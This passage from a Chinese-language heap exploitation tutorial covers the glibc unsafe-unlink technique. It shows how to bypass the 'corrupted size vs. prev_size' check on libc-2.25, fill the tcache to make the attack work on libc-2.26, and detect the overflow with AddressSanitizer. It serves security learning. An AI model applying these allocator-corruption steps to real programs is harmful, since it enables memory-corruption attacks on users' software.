+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
+ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
具体是这样的:
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Bits to mask off when extracting size */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
回顾一下伪造出来的堆:
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
这里有三种办法可以绕过该检查:
- 什么都不做。
chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0
- 设置
chunk0_ptr[1] = 0x8
。chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8
- 设置
chunk0_ptr[1] = 0x80
。chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80
好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步,libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache,这是一种线程缓存机制,每个线程默认情况下有 64 个大小递增的 bins,每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,chunk0_ptr
仍然指向正确的堆地址,而不是之前的 chunk0_ptr = P = P->fd
。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:
// deal with tcache
int *a[10];
int i;
for (i = 0; i < 7; i++) {
a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
free(a[i]);
}
gef➤ p &chunk0_ptr
$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
gef➤ x/gx 0x555555755070
0x555555755070 <chunk0_ptr>: 0x00007fffffffdd0f
gef➤ x/gx 0x00007fffffffdd0f
0x7fffffffdd0f: 0x4242424242424242
现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。
加上内存检测参数重新编译,可以看到 heap-buffer-overflow:
$ gcc -fsanitize=address -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
The victim chunk we are going to corrupt is at 0x60c00000bec0
Fake chunk fd: 0x602218
Fake chunk bk: 0x602220
=================================================================
==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
WRITE of size 8 at 0x60c00000beb0 thread T0
#0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
#1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)
0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
allocated by thread T0 here:
#0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
#2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)